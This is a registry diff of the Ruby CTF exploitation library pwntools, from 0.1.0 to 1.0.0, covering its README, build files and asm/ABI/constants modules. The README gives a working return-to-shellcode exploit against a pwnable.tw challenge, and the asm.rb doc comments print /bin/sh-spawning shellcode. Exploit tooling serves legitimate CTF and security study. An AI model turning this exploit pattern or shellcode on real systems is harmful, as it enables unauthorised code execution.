pwntools 0.1.0 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (123) hide show
  1. checksums.yaml +4 -4
  2. data/README.md +88 -11
  3. data/Rakefile +5 -1
  4. data/lib/pwn.rb +9 -7
  5. data/lib/pwnlib/abi.rb +60 -0
  6. data/lib/pwnlib/asm.rb +146 -0
  7. data/lib/pwnlib/constants/constant.rb +16 -2
  8. data/lib/pwnlib/constants/constants.rb +35 -19
  9. data/lib/pwnlib/constants/linux/amd64.rb +30 -1
  10. data/lib/pwnlib/context.rb +25 -17
  11. data/lib/pwnlib/dynelf.rb +117 -54
  12. data/lib/pwnlib/elf/elf.rb +267 -0
  13. data/lib/pwnlib/ext/helper.rb +4 -4
  14. data/lib/pwnlib/logger.rb +87 -0
  15. data/lib/pwnlib/memleak.rb +58 -29
  16. data/lib/pwnlib/pwn.rb +19 -8
  17. data/lib/pwnlib/reg_sort.rb +102 -108
  18. data/lib/pwnlib/shellcraft/generators/amd64/common/common.rb +14 -0
  19. data/lib/pwnlib/shellcraft/generators/amd64/common/infloop.rb +17 -0
  20. data/lib/pwnlib/shellcraft/generators/amd64/common/memcpy.rb +31 -0
  21. data/lib/pwnlib/shellcraft/generators/amd64/common/mov.rb +127 -0
  22. data/lib/pwnlib/shellcraft/generators/amd64/common/nop.rb +16 -0
  23. data/lib/pwnlib/shellcraft/generators/amd64/common/popad.rb +27 -0
  24. data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr.rb +64 -0
  25. data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr_array.rb +19 -0
  26. data/lib/pwnlib/shellcraft/generators/amd64/common/ret.rb +32 -0
  27. data/lib/pwnlib/shellcraft/generators/amd64/common/setregs.rb +19 -0
  28. data/lib/pwnlib/shellcraft/generators/amd64/linux/execve.rb +21 -0
  29. data/lib/pwnlib/shellcraft/generators/amd64/linux/linux.rb +14 -0
  30. data/lib/pwnlib/shellcraft/generators/amd64/linux/ls.rb +19 -0
  31. data/lib/pwnlib/shellcraft/generators/amd64/linux/sh.rb +19 -0
  32. data/lib/pwnlib/shellcraft/generators/amd64/linux/syscall.rb +21 -0
  33. data/lib/pwnlib/shellcraft/generators/helper.rb +106 -0
  34. data/lib/pwnlib/shellcraft/generators/i386/common/common.rb +14 -0
  35. data/lib/pwnlib/shellcraft/generators/i386/common/infloop.rb +17 -0
  36. data/lib/pwnlib/shellcraft/generators/i386/common/mov.rb +90 -0
  37. data/lib/pwnlib/shellcraft/generators/i386/common/nop.rb +16 -0
  38. data/lib/pwnlib/shellcraft/generators/i386/common/pushstr.rb +39 -0
  39. data/lib/pwnlib/shellcraft/generators/i386/common/pushstr_array.rb +19 -0
  40. data/lib/pwnlib/shellcraft/generators/i386/common/setregs.rb +19 -0
  41. data/lib/pwnlib/shellcraft/generators/i386/linux/execve.rb +19 -0
  42. data/lib/pwnlib/shellcraft/generators/i386/linux/linux.rb +14 -0
  43. data/lib/pwnlib/shellcraft/generators/i386/linux/ls.rb +19 -0
  44. data/lib/pwnlib/shellcraft/generators/i386/linux/sh.rb +19 -0
  45. data/lib/pwnlib/shellcraft/generators/i386/linux/syscall.rb +19 -0
  46. data/lib/pwnlib/shellcraft/generators/x86/common/common.rb +26 -0
  47. data/lib/pwnlib/shellcraft/generators/x86/common/infloop.rb +22 -0
  48. data/lib/pwnlib/shellcraft/generators/x86/common/mov.rb +15 -0
  49. data/lib/pwnlib/shellcraft/generators/x86/common/pushstr.rb +15 -0
  50. data/lib/pwnlib/shellcraft/generators/x86/common/pushstr_array.rb +85 -0
  51. data/lib/pwnlib/shellcraft/generators/x86/common/setregs.rb +82 -0
  52. data/lib/pwnlib/shellcraft/generators/x86/linux/execve.rb +69 -0
  53. data/lib/pwnlib/shellcraft/generators/x86/linux/linux.rb +14 -0
  54. data/lib/pwnlib/shellcraft/generators/x86/linux/ls.rb +66 -0
  55. data/lib/pwnlib/shellcraft/generators/x86/linux/sh.rb +52 -0
  56. data/lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb +52 -0
  57. data/lib/pwnlib/shellcraft/registers.rb +145 -0
  58. data/lib/pwnlib/shellcraft/shellcraft.rb +67 -0
  59. data/lib/pwnlib/timer.rb +60 -0
  60. data/lib/pwnlib/tubes/buffer.rb +96 -0
  61. data/lib/pwnlib/tubes/sock.rb +95 -0
  62. data/lib/pwnlib/tubes/tube.rb +270 -0
  63. data/lib/pwnlib/util/cyclic.rb +95 -94
  64. data/lib/pwnlib/util/fiddling.rb +256 -220
  65. data/lib/pwnlib/util/getdents.rb +83 -0
  66. data/lib/pwnlib/util/hexdump.rb +109 -108
  67. data/lib/pwnlib/util/lists.rb +55 -0
  68. data/lib/pwnlib/util/packing.rb +226 -228
  69. data/lib/pwnlib/util/ruby.rb +18 -0
  70. data/lib/pwnlib/version.rb +2 -1
  71. data/test/abi_test.rb +21 -0
  72. data/test/asm_test.rb +104 -0
  73. data/test/constants/constant_test.rb +1 -0
  74. data/test/constants/constants_test.rb +4 -2
  75. data/test/context_test.rb +1 -0
  76. data/test/data/echo.rb +20 -0
  77. data/test/data/elfs/Makefile +22 -0
  78. data/test/data/elfs/amd64.frelro.elf +0 -0
  79. data/test/data/elfs/amd64.frelro.pie.elf +0 -0
  80. data/test/data/elfs/amd64.nrelro.elf +0 -0
  81. data/test/data/elfs/amd64.prelro.elf +0 -0
  82. data/test/data/elfs/i386.frelro.pie.elf +0 -0
  83. data/test/data/elfs/i386.prelro.elf +0 -0
  84. data/test/data/elfs/source.cpp +19 -0
  85. data/test/data/flag +1 -0
  86. data/test/data/lib32/ld.so.2 +0 -0
  87. data/test/data/lib32/libc.so.6 +0 -0
  88. data/test/data/lib64/ld.so.2 +0 -0
  89. data/test/data/lib64/libc.so.6 +0 -0
  90. data/test/dynelf_test.rb +59 -24
  91. data/test/elf/elf_test.rb +120 -0
  92. data/test/ext_test.rb +3 -2
  93. data/test/files/use_pwnlib.rb +1 -1
  94. data/test/logger_test.rb +61 -0
  95. data/test/memleak_test.rb +4 -33
  96. data/test/reg_sort_test.rb +3 -1
  97. data/test/shellcraft/infloop_test.rb +26 -0
  98. data/test/shellcraft/linux/ls_test.rb +108 -0
  99. data/test/shellcraft/linux/sh_test.rb +119 -0
  100. data/test/shellcraft/linux/syscalls/execve_test.rb +136 -0
  101. data/test/shellcraft/linux/syscalls/syscall_test.rb +83 -0
  102. data/test/shellcraft/memcpy_test.rb +35 -0
  103. data/test/shellcraft/mov_test.rb +98 -0
  104. data/test/shellcraft/nop_test.rb +26 -0
  105. data/test/shellcraft/popad_test.rb +29 -0
  106. data/test/shellcraft/pushstr_array_test.rb +91 -0
  107. data/test/shellcraft/pushstr_test.rb +108 -0
  108. data/test/shellcraft/registers_test.rb +32 -0
  109. data/test/shellcraft/ret_test.rb +30 -0
  110. data/test/shellcraft/setregs_test.rb +62 -0
  111. data/test/shellcraft/shellcraft_test.rb +28 -0
  112. data/test/test_helper.rb +12 -1
  113. data/test/timer_test.rb +23 -0
  114. data/test/tubes/buffer_test.rb +45 -0
  115. data/test/tubes/sock_test.rb +68 -0
  116. data/test/tubes/tube_test.rb +241 -0
  117. data/test/util/cyclic_test.rb +2 -1
  118. data/test/util/fiddling_test.rb +2 -1
  119. data/test/util/getdents_test.rb +32 -0
  120. data/test/util/hexdump_test.rb +7 -9
  121. data/test/util/lists_test.rb +21 -0
  122. data/test/util/packing_test.rb +4 -3
  123. metadata +215 -25
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 03accad444e614bc79ec41ce5e4340d32058a3e0
4
- data.tar.gz: 827fd60a5aded02428f145da00345acaeb9d42b3
3
+ metadata.gz: e8617d0c3ce0deb5ba38b0f4c2b4d11c26ff2c48
4
+ data.tar.gz: 22a859a445f8fb1fa84c9c164f2f093ccaf81bcb
5
5
  SHA512:
6
- metadata.gz: f13058f95608bfd3444f2c99dde3d62b4d35d59a35ae3aed8b12a12fb016129fd8de2ed339feb0f6a9d36f798244e33970e91fbee94923b40da46bbe8150f082
7
- data.tar.gz: 11ce79df711489bda139e77f9c02002a9e992c03be35dd06af760a2580a0fc3864462a1c292abf99a09a52a45fff1554f4001a65bc99154307821f6817740e88
6
+ metadata.gz: dec0121c94efbe114141de88e820e7ab64c25e64938e44413293a9b61d325ac6dcd0239588b930326a7c7da49378deebcbf94154cc59411e22f8926b95954668
7
+ data.tar.gz: 34f90a6171b82df95d5c5a78252ae370cc6251da6deeac65f2bbd011efa251ebf65e7435046cb159e42740c2f072ac6dc5de80f429496ed7f3cd2afe0978b020
data/README.md CHANGED
@@ -12,12 +12,12 @@ Always sad when playing CTF that there's nothing equivalent to pwntools in Pytho
12
12
  While pwntools is awesome, I always love Ruby far more than Python...
13
13
  So this is an attempt to create such library.
14
14
 
15
- There's almost NOTHING here now.
16
- (Edit: there's something here now, but not much :wink:)
17
- Going to implement important things (socket, tubes, asm/disasm, pack/unpack utilities) first.
18
15
  Would try to have consistent naming with original pwntools, and do things in Ruby style.
19
16
 
20
17
  # Example Usage
18
+
19
+ Here's an exploitation for `start` which is a challenge on [pwnable.tw](https://pwnable.tw).
20
+
21
21
  ```ruby
22
22
  # encoding: ASCII-8BIT
23
23
  # The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
@@ -25,20 +25,97 @@ Would try to have consistent naming with original pwntools, and do things in Rub
25
25
 
26
26
  require 'pwn'
27
27
 
28
- p pack(0x41424344) # 'DCBA'
29
- context.endian = 'big'
30
- p pack(0x41424344) # 'ABCD'
28
+ context.arch = 'i386'
29
+ context.log_level = :debug
30
+ z = Sock.new 'chall.pwnable.tw', 10000
31
+
32
+ z.recvuntil "Let's start the CTF:"
33
+ z.send p32(0x8048087).rjust(0x18, 'A')
34
+ stk = u32(z.recvuntil "\xff")
35
+ log.info "stack address: #{stk.hex}" # Log stack address
36
+
37
+ # Return to shellcode
38
+ addr = stk + 0x14
39
+ payload = addr.p32.rjust(0x18, 'A') + asm(shellcraft.sh)
40
+ z.write payload
41
+
42
+ # Switch to interactive mode
43
+ z.interact
44
+ ```
45
+
46
+ More features and details can be found in the
47
+ [documentation](http://www.rubydoc.info/github/peter50216/pwntools-ruby/master/frames).
31
48
 
32
- context.local(bits: 16) do
33
- p pack(0x4142) # 'AB'
34
- end
49
+ # Installation
50
+
51
+ ### Install the latest release:
52
+ ```sh
53
+ gem install pwntools
54
+ ```
55
+
56
+ ### Install from master branch:
57
+ ```sh
58
+ git clone https://github.com/peter50216/pwntools-ruby
59
+ cd pwntools-ruby
60
+ gem build pwntools.gemspec && gem install pwntools-*.gem
35
61
  ```
36
62
 
63
+ ### optional
64
+
65
+ Some of the features (assembling/disassembling) require non-Ruby dependencies. Checkout the
66
+ installation guide for
67
+ [keystone-engine](https://github.com/keystone-engine/keystone/tree/master/docs) and
68
+ [capstone-engine](http://www.capstone-engine.org/documentation.html).
69
+
70
+ Or you are able to get running quickly with
71
+
72
+ ```sh
73
+ # Install Capstone
74
+ sudo apt-get install libcapstone3
75
+
76
+ # Compile and install Keystone from source
77
+ sudo apt-get install cmake
78
+ git clone https://github.com/keystone-engine/keystone.git /tmp/keystone
79
+ cd /tmp/keystone
80
+ mkdir build
81
+ cd build
82
+ ../make-share.sh
83
+ sudo make install
84
+ ```
85
+
86
+ # Supported Features
87
+
88
+ ## Architectures
89
+
90
+ - [x] i386
91
+ - [x] amd64
92
+ - [ ] arm
93
+ - [ ] thumb
94
+
95
+ ## Modules
96
+
97
+ - [x] context
98
+ - [x] asm
99
+ - [x] disasm
100
+ - [x] shellcraft
101
+ - [x] elf
102
+ - [x] dynelf
103
+ - [x] logger
104
+ - [ ] tube
105
+ - [x] sock
106
+ - [ ] process
107
+ - [ ] fmtstr
108
+ - [x] util
109
+ - [x] pack
110
+ - [x] cyclic
111
+ - [x] fiddling
112
+
37
113
  # Development
38
114
  ```sh
39
- git clone git@github.com:peter50216/pwntools-ruby.git
115
+ git clone https://github.com/peter50216/pwntools-ruby
40
116
  cd pwntools-ruby
41
- rake
117
+ bundle
118
+ bundle exec rake
42
119
  ```
43
120
 
44
121
  # Note to irb users
data/Rakefile CHANGED
@@ -5,10 +5,10 @@ require 'bundler/gem_tasks'
5
5
  require 'rainbow'
6
6
  require 'rake/testtask'
7
7
  require 'rubocop/rake_task'
8
+ require 'yard'
8
9
 
9
10
  RuboCop::RakeTask.new(:rubocop) do |task|
10
11
  task.patterns = ['lib/**/*.rb', 'test/**/*.rb']
11
- task.formatters = ['files']
12
12
  end
13
13
 
14
14
  task default: %i(install_git_hooks rubocop test)
@@ -18,9 +18,13 @@ Rake::TestTask.new(:test) do |test|
18
18
  test.libs << 'test'
19
19
  test.pattern = 'test/**/*_test.rb'
20
20
  test.verbose = true
21
+ test.options = '--pride'
21
22
  end
22
23
 
24
+ YARD::Rake::YardocTask.new(:doc)
25
+
23
26
  task :install_git_hooks do
27
+ next if ENV['CI']
24
28
  hooks = %w(pre-push)
25
29
  git_hook_dir = Pathname.new('.git/hooks/')
26
30
  hook_dir = Pathname.new('git-hooks/')
data/lib/pwn.rb CHANGED
@@ -1,7 +1,7 @@
1
1
  # encoding: ASCII-8BIT
2
2
 
3
- # require this file for easy exploit development, but would pollute main Object
4
- # and some built-in objects (String, Integer, ...)
3
+ # require this file for easy exploit development, but would pollute main Object and some built-in objects. (String,
4
+ # Integer, ...)
5
5
 
6
6
  require 'pwnlib/pwn'
7
7
 
@@ -12,13 +12,15 @@ require 'pwnlib/ext/array'
12
12
  extend Pwn
13
13
 
14
14
  include Pwnlib
15
+ include Pwnlib::Tubes
16
+
17
+ # XXX(david942j): include here because module ELF and class ELF have same name..
18
+ include ::Pwnlib::ELF
15
19
 
16
20
  # Small "fix" for irb context problem.
17
- # irb defines main.context for IRB::Context, which overrides our
18
- # Pwnlib::Context :(
19
- # Since our "context" should be more important for someone requiring 'pwn',
20
- # and the IRB::Context can still be accessible from irb_context, we should be
21
- # fine removing context.
21
+ # irb defines main.context for IRB::Context, which overrides our Pwnlib::Context. :(
22
+ # Since our "context" should be more important for someone requiring 'pwn', and the IRB::Context can still be accessible
23
+ # from irb_context, we should be fine removing context.
22
24
  class << self
23
25
  remove_method(:context) if method_defined?(:context)
24
26
  end
@@ -0,0 +1,60 @@
1
+ # encoding: ASCII-8BIT
2
+
3
+ require 'pwnlib/context'
4
+
5
+ module Pwnlib
6
+ # Encapsulates information about a calling convention.
7
+ module ABI
8
+ # A super class for recording registers and stack's information.
9
+ class ABI
10
+ attr_reader :register_arguments
11
+ attr_reader :arg_alignment
12
+ attr_reader :stack_pointer
13
+ # Only used for x86, to specify the +eax+, +edx+ pair.
14
+ attr_reader :cdq_pair
15
+ def initialize(regs, align, stack_pointer, cdq_pair: nil)
16
+ @register_arguments = regs
17
+ @arg_alignment = align
18
+ @stack_pointer = stack_pointer
19
+ @cdq_pair = cdq_pair
20
+ end
21
+
22
+ class << self
23
+ def default
24
+ DEFAULT[arch_key]
25
+ end
26
+
27
+ def syscall
28
+ SYSCALL[arch_key]
29
+ end
30
+
31
+ private
32
+
33
+ def arch_key
34
+ [context.bits, context.arch, context.os]
35
+ end
36
+ include ::Pwnlib::Context
37
+ end
38
+ end
39
+
40
+ # The syscall ABI treats the syscall number as the zeroth argument,
41
+ # which must be loaded into the specified register.
42
+ class SyscallABI < ABI
43
+ attr_reader :syscall_str
44
+ def initialize(regs, align, stack_pointer, syscall_str)
45
+ super(regs, align, stack_pointer)
46
+ @syscall_str = syscall_str
47
+ end
48
+ end
49
+
50
+ DEFAULT = {
51
+ [32, 'i386', 'linux'] => ABI.new([], 4, 'esp', cdq_pair: %w(eax edx)),
52
+ [64, 'amd64', 'linux'] => ABI.new(%w(rdi rsi rdx rcx r8 r9), 8, 'rsp', cdq_pair: %w(rax rdx))
53
+ }.freeze
54
+
55
+ SYSCALL = {
56
+ [32, 'i386', 'linux'] => SyscallABI.new(%w(eax ebx ecx edx esi edi ebp), 4, 'esp', 'int 0x80'),
57
+ [64, 'amd64', 'linux'] => SyscallABI.new(%w(rax rdi rsi rdx r10 r8 r9), 8, 'rsp', 'syscall')
58
+ }.freeze
59
+ end
60
+ end
@@ -0,0 +1,146 @@
1
+ # encoding: ASCII-8BIT
2
+
3
+ require 'keystone_engine/keystone_const'
4
+
5
+ require 'pwnlib/context'
6
+ require 'pwnlib/util/ruby'
7
+
8
+ module Pwnlib
9
+ # Convert assembly code to machine code and vice versa.
10
+ # Use two open-source projects +keystone+/+capstone+ to asm/disasm.
11
+ module Asm
12
+ module_function
13
+
14
+ # Disassembles a bytestring into human readable assembly.
15
+ #
16
+ # {.disasm} depends on another open-source project - capstone, error will be raised if capstone is not intalled.
17
+ # @param [String] data
18
+ # The bytestring.
19
+ # @param [Integer] vma
20
+ # Virtual memory address.
21
+ #
22
+ # @return [String]
23
+ # Disassemble result with nice typesetting.
24
+ #
25
+ # @raise [LoadError]
26
+ # If libcapstone is not installed.
27
+ #
28
+ # @example
29
+ # context.arch = 'i386'
30
+ # print disasm("\xb8\x5d\x00\x00\x00")
31
+ # # 0: b8 5d 00 00 00 mov eax, 0x5d
32
+ #
33
+ # context.arch = 'amd64'
34
+ # print disasm("\xb8\x17\x00\x00\x00")
35
+ # # 0: b8 17 00 00 00 mov eax, 0x17
36
+ # print disasm("jhH\xb8/bin///sPH\x89\xe71\xd21\xf6j;X\x0f\x05", vma: 0x1000)
37
+ # # 1000: 6a 68 push 0x68
38
+ # # 1002: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f
39
+ # # 100c: 50 push rax
40
+ # # 100d: 48 89 e7 mov rdi, rsp
41
+ # # 1010: 31 d2 xor edx, edx
42
+ # # 1012: 31 f6 xor esi, esi
43
+ # # 1014: 6a 3b push 0x3b
44
+ # # 1016: 58 pop rax
45
+ # # 1017: 0f 05 syscall
46
+ def disasm(data, vma: 0)
47
+ require_message('crabstone', install_crabstone_guide) # will raise error if require fail.
48
+ cs = Crabstone::Disassembler.new(cap_arch, cap_mode)
49
+ insts = cs.disasm(data, vma).map do |ins|
50
+ [ins.address, ins.bytes.pack('C*'), ins.mnemonic, ins.op_str.to_s]
51
+ end
52
+ max_dlen = format('%x', insts.last.first).size + 2
53
+ max_hlen = insts.map { |ins| ins[1].size }.max * 3
54
+ insts.reduce('') do |s, ins|
55
+ hex_code = ins[1].bytes.map { |c| format('%02x', c) }.join(' ')
56
+ inst = if ins[3].empty?
57
+ ins[2]
58
+ else
59
+ format('%-7s %s', ins[2], ins[3])
60
+ end
61
+ s + format("%#{max_dlen}x: %-#{max_hlen}s%s\n", ins[0], hex_code, inst)
62
+ end
63
+ end
64
+
65
+ # Convert assembly code to machine code.
66
+ #
67
+ # @param [String] code
68
+ # The assembly code to be converted.
69
+ #
70
+ # @return [String]
71
+ # The result.
72
+ #
73
+ # @example
74
+ # assembly = shellcraft.amd64.linux.sh
75
+ # context.local(arch: 'amd64') { asm(assembly) }
76
+ # #=> "jhH\xB8/bin///sPj;XH\x89\xE71\xF6\x99\x0F\x05"
77
+ #
78
+ # context.local(arch: 'i386') { asm(shellcraft.sh) }
79
+ # #=> "jhh///sh/binj\vX\x89\xE31\xC9\x99\xCD\x80"
80
+ #
81
+ # @diff
82
+ # Not support +asm('mov eax, SYS_execve')+.
83
+ def asm(code)
84
+ require_message('keystone_engine', install_keystone_guide)
85
+ KeystoneEngine::Ks.new(ks_arch, ks_mode).asm(code)[0]
86
+ end
87
+
88
+ ::Pwnlib::Util::Ruby.private_class_method_block do
89
+ def cap_arch
90
+ {
91
+ 'i386' => Crabstone::ARCH_X86,
92
+ 'amd64' => Crabstone::ARCH_X86
93
+ }[context.arch]
94
+ end
95
+
96
+ def cap_mode
97
+ {
98
+ 32 => Crabstone::MODE_32,
99
+ 64 => Crabstone::MODE_64
100
+ }[context.bits]
101
+ end
102
+
103
+ def ks_arch
104
+ {
105
+ 'i386' => KeystoneEngine::KS_ARCH_X86,
106
+ 'amd64' => KeystoneEngine::KS_ARCH_X86
107
+ }[context.arch]
108
+ end
109
+
110
+ def ks_mode
111
+ {
112
+ 32 => KeystoneEngine::KS_MODE_32,
113
+ 64 => KeystoneEngine::KS_MODE_64
114
+ }[context.bits]
115
+ end
116
+
117
+ # FFI is used in keystone and capstone binding gems, this method handles when libraries not installed yet.
118
+ def require_message(lib, msg)
119
+ require lib
120
+ rescue LoadError => e
121
+ raise LoadError, e.message + "\n\n" + msg
122
+ end
123
+
124
+ def install_crabstone_guide
125
+ <<-EOS
126
+ #disasm dependes on capstone, which is detected not installed yet.
127
+ Checkout the following link for installation guide:
128
+
129
+ http://www.capstone-engine.org/documentation.html
130
+
131
+ EOS
132
+ end
133
+
134
+ def install_keystone_guide
135
+ <<-EOS
136
+ #asm dependes on keystone, which is detected not installed yet.
137
+ Checkout the following link for installation guide:
138
+
139
+ https://github.com/keystone-engine/keystone/tree/master/docs
140
+
141
+ EOS
142
+ end
143
+ include ::Pwnlib::Context
144
+ end
145
+ end
146
+ end
@@ -4,9 +4,23 @@ require 'pwnlib/util/fiddling'
4
4
 
5
5
  module Pwnlib
6
6
  module Constants
7
- # A class that includes name and value
7
+ # A class that includes name and value representing a constant.
8
+ # This class works like an integer, and support operations with integers.
9
+ #
10
+ # @example
11
+ # a = Pwnlib::Constants::Constant.new('a', 0x3)
12
+ # #=> Constant("a", 0x3)
13
+ # [a + 1, 2 * a, a | 6, a == 3, 0 > a]
14
+ # #=> [4, 6, 7, true, false]
8
15
  class Constant < Numeric
9
- attr_reader :str, :val
16
+ # @return [String]
17
+ attr_reader :str
18
+
19
+ # @return [Integer]
20
+ attr_reader :val
21
+
22
+ # @param [String] str
23
+ # @param [Integer] val
10
24
  def initialize(str, val)
11
25
  @str = str
12
26
  @val = val
@@ -1,45 +1,54 @@
1
1
  # encoding: ASCII-8BIT
2
2
 
3
- require 'pwnlib/context'
3
+ require 'dentaku'
4
+
4
5
  require 'pwnlib/constants/constant'
6
+ require 'pwnlib/context'
5
7
 
6
8
  module Pwnlib
7
- # Module containing constants
9
+ # Module containing constants.
10
+ #
8
11
  # @example
9
12
  # context.arch = 'amd64'
10
13
  # Pwnlib::Constants.SYS_read
11
- # # => Constant('SYS_read', 0x0)
14
+ # #=> Constant('SYS_read', 0x0)
12
15
  module Constants
13
- # @note Do not create and call instance method here. Instead, call module method on {Constants}.
14
- module ClassMethods
15
- include ::Pwnlib::Context
16
- ENV_STORE = {} # rubocop:disable Style/MutableConstant
17
- # Try getting constants when method missing
16
+ class << self
17
+ # To support getting constants like +Pwnlib::Constants.SYS_read+.
18
+ #
19
+ # @return [Constant]
20
+ #
21
+ # @raise [NoMethodError]
18
22
  def method_missing(method, *args, &block)
19
23
  args.empty? && block.nil? && get_constant(method) || super
20
24
  end
21
25
 
26
+ # @return [Boolean]
22
27
  def respond_to_missing?(method, _include_all)
23
28
  !get_constant(method).nil?
24
29
  end
25
30
 
26
- # Eval for Constants
31
+ # Eval for Constants.
27
32
  #
28
33
  # @param [String] str
29
- # The string to be evaluate.
34
+ # The string to be evaluated.
30
35
  #
31
36
  # @return [Constant]
32
- # The evaluate result.
37
+ # The evaluated result.
33
38
  #
34
39
  # @example
35
40
  # eval('O_CREAT')
36
- # => Constant('(O_CREAT)', 0x40)
37
- #
38
- # @todo(david942j): Support eval('O_CREAT | O_APPEND') (i.e. safeeval)
41
+ # #=> Constant('(O_CREAT)', 0x40)
42
+ # eval('O_CREAT | O_APPEND')
43
+ # #=> Constant('(O_CREAT | O_APPEND)', 0x440)
39
44
  def eval(str)
40
45
  return str unless str.instance_of?(String)
41
- const = get_constant(str.strip.to_sym)
42
- ::Pwnlib::Constants::Constant.new("(#{str})", const.val)
46
+ begin
47
+ val = calculator.evaluate!(str.strip).to_i
48
+ rescue Dentaku::UnboundVariableError => e
49
+ raise NameError, e.message
50
+ end
51
+ ::Pwnlib::Constants::Constant.new("(#{str})", val)
43
52
  end
44
53
 
45
54
  private
@@ -48,6 +57,7 @@ module Pwnlib
48
57
  [context.os, context.arch]
49
58
  end
50
59
 
60
+ ENV_STORE = {} # rubocop:disable Style/MutableConstant
51
61
  def current_store
52
62
  ENV_STORE[current_arch_key] ||= load_constants(current_arch_key)
53
63
  end
@@ -56,9 +66,15 @@ module Pwnlib
56
66
  current_store[symbol]
57
67
  end
58
68
 
59
- # Small class for instance_eval loaded file
69
+ CALCULATORS = {} # rubocop:disable Style/MutableConstant
70
+ def calculator
71
+ CALCULATORS[current_arch_key] ||= Dentaku::Calculator.new.store(current_store)
72
+ end
73
+
74
+ # Small class for instance_eval loaded file.
60
75
  class ConstantBuilder
61
76
  attr_reader :tbl
77
+
62
78
  def initialize
63
79
  @tbl = {}
64
80
  end
@@ -75,8 +91,8 @@ module Pwnlib
75
91
  builder.instance_eval(IO.read(filename))
76
92
  builder.tbl
77
93
  end
78
- end
79
94
 
80
- extend ClassMethods
95
+ include ::Pwnlib::Context
96
+ end
81
97
  end
82
98
  end